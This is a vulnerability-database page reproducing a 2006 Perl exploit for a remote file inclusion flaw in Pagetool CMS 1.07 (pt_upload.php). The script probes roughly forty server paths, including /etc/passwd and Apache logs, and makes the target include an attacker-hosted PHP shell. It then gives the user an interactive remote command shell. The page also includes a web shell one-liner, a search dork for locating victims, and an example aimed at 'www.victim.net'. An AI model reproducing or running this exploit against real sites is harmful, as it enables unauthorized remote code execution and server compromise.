Lucene search
K

Pagetool CMS <= 1.07 (pt_upload.php) Remote File Include Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Pagetool CMS 1.07 Remote File Include Vulnerability and RFI Exploi

Code

                                                #!usr/bin/perl
use LWP::UserAgent;
####################################################################
#          ___   ___                         _
#         / _ \ / _ \                       | |
#     __ _| | | | | | |_ __  ___   _ __   ___| |_
#   / _` | | | | | | | &#39;_ \/ __| | &#39;_ \ / _ \ __|
#  | (_| | |_| | |_| | | | \__ \_| | | |  __/ |_
#   \__, |\___/ \___/|_| |_|___(_)_| |_|\___|\__|
#    __/ |
#   |___/
#
#===========================INFO====================================
# Impact level: HIGH
#
# Google: powered by pagetool or Pagetool Development Team
#
# browser use:
# http://[ site ]/src/admin/pt_upload.php?config_file=[local server file]&ptconf[src]=[ shell ]?
#
#=========================VULN CODE=================================
# Code:
#
# if (file_exists($config_file))
#{
#     include($config_file);
#
#    ...
#      include($ptconf[&#34;src&#34;] . &#34;pagetool/pt_profile.inc&#34;);
#      include($ptconf[&#34;src&#34;] . &#34;pagetool/pt_functions.inc&#34;);
#===================================================================
#
#  Vulnerability Found by: FiSh and godXcel
#
#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                    #---Exploit---#
#==========================================================#
#         [Pagetool CMS &#60;=1.07 (RFI)]
#    [c]oded by TrinTiTTy -at- g00ns.net
#==========================================================#
#
#    ! Vulnerability by FiSh and godXcel !
#
# Shoutz: z3r0, clorox, wicked, synical, ReZEN, grumpy,
#         SiCK, and everyone else at g00ns.net
#
#    greetz: 13337.org, acircle.us
#
# www.g00ns.net | irc.g00ns.net #g00ns | www.g00ns-forum.net
#
#      #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
#      # Notes:                                     #
#      # Shell example &#60;?passthru($_GET[cmd]);?&#62;    #
#      # Shell variable: ($_GET[cmd]);              #
#      #=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
#==========================================================#

$host = @ARGV[0]; $shell = @ARGV[1];

if ($host =~ /http:\/\// || $shell =~ /http:\/\//)
   {print &#34;\n\n [-] Don&#39;t include http:// in your links!\n&#34;;usage();exit();}
elsif (@ARGV != 2) {head();usage();exit();}
head();
print &#34;\n [!] Scanning for local server config file\n\n [!] Be patient...\n&#34;;

# No credz to me for below list..
@cfgs = (&#34;/etc/passwd&#34;,
         &#34;../apache/logs/error.log&#34;,
         &#34;../../../../apache/logs/access.log&#34;,
         &#34;../apache/logs/access.log&#34;,
         &#34;../../../../../var/log/httpd/error_log&#34;,
         &#34;../../apache/logs/error.log&#34;,
         &#34;../../apache/logs/access.log&#34;,
         &#34;../../../apache/logs/error.log&#34;,
         &#34;../../../apache/logs/access.log&#34;,
         &#34;../../../../apache/logs/error.log&#34;,
         &#34;../../../../../apache/logs/error.log&#34;,
         &#34;../../../../../apache/logs/access.log&#34;,
         &#34;../logs/error.log&#34;,
         &#34;../logs/access.log&#34;,
         &#34;../../logs/error.log&#34;,
         &#34;../../logs/access.log&#34;,
         &#34;../../../logs/error.log&#34;,
         &#34;../../../logs/access.log&#34;,
         &#34;../../../../logs/error.log&#34;,
         &#34;../../../../logs/access.log&#34;,
         &#34;../../../../../logs/error.log&#34;,
         &#34;../../../../../logs/access.log&#34;,
         &#34;../../../../../etc/httpd/logs/access_log&#34;,
         &#34;../../../../../etc/httpd/logs/access.log&#34;,
         &#34;../../../../../etc/httpd/logs/error_log&#34;,
         &#34;../../../../../etc/httpd/logs/error.log&#34;,
         &#34;../../../../../var/www/logs/access_log&#34;,
         &#34;../../../../../var/www/logs/access.log&#34;,
         &#34;../../../../../usr/local/apache/logs/access_log&#34;,
         &#34;../../../../../usr/local/apache/logs/access.log&#34;,
         &#34;../../../../../var/log/apache/access_log&#34;,
         &#34;../../../../../var/log/apache/access.log&#34;,
         &#34;../../../../../var/log/access_log&#34;,
         &#34;../../../../../var/www/logs/error_log&#34;,
         &#34;../../../../../var/www/logs/error.log&#34;,
         &#34;../../../../../usr/local/apache/logs/error_log&#34;,
         &#34;../../../../../usr/local/apache/logs/error.log&#34;,
         &#34;../../../../../var/log/apache/error_log&#34;,
         &#34;../../../../../var/log/apache/error.log&#34;,
         &#34;../../../../../var/log/access_log&#34;,
         &#34;../../../../../var/log/error_log&#34;);
scan();
sub scan(){
  for ($i = 0; $i &#60;=40; ++$i){
  $ag3nt = LWP::UserAgent-&#62;new() || die;
  $inc = &#34;http://&#34;.$host.&#34;/src/admin/pt_upload.php?config_file=&#34;.$cfgs[$i].&#34;&ptconf[src]=http://&#34;.$shell.&#34;?&#34;;
  $response = $ag3nt-&#62;get($inc);
  syswrite STDOUT,&#34;.&#34;;
  $ans = $response-&#62;content;
    if( $ans =~ /500 Server closed connection without sending any data back/)
       {print &#34;\n\n [-] Couldn&#39;t Include Shell...better luck next time.\n\n&#34;;exit;}
    elsif ($ans =~ /Cannot execute a blank command/)
       {print &#34;\n [+] Server File: FOUND\n\n [+] Executing Command Shell...\n\nType quit to exit shell\n&#34;;commands();}}}
print &#34;\n\n [-] Couldn&#39;t find valid config file...better luck next time\n\n&#34;;exit;

sub commands(){
print &#34;\nshell\@box \$~ &#34;;
  $nix=&#60;STDIN&#62;;
  chomp($nix);
if ($nix =~ /quit/gmi){print &#34;\n [-] Good Bye\n&#34;;exit();}
$ag3nt = LWP::UserAgent-&#62;new() || die;
$inc = &#34;http://&#34;.$host.&#34;/src/admin/pt_upload.php?config_file=&#34;.$cfgs[$i].&#34;&ptconf[src]=http://&#34;.$shell.&#34;?cmd=&#34;.$nix.&#39;%00&#39;;
$response = $ag3nt-&#62;get($inc);
$ans = $response-&#62;content;
if ($ans =~ /&#60;b&#62;Warning&#60;\/b&#62;:/gmi || $ans =~ /&#60;a href=/gmi)
   {print &#34; \n[-] ERROR: Bad command, permissions, website, or shell.\n&#34;;commands();}
else {print &#34;\n$ans&#34;;commands();}}

sub head(){
 print q {
   |======================================================|
   |               Pagetool CMS &#60;=1.07 (RFI)              |
   |         [c]oded by TrinTiTTy -at- g00ns.net          |
   | -----------------------------------------------------|
   |                                                      |
   |          Vulnerability by FiSh and godXcel           |
   |            greetz: 13337.org, acircle.us             |
   |                                                      |
   |                   www.g00ns.net                      |
   |======================================================|
   }}
sub usage(){
 print q{
 Usage: perl pagetool07.pl &#60;host&#62; &#60;shell location&#62;

 Example: perl pagetool07.pl www.victim.net www.shellsite.com/shell.txt
   }
 }

# milw0rm.com [2006-12-24]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
26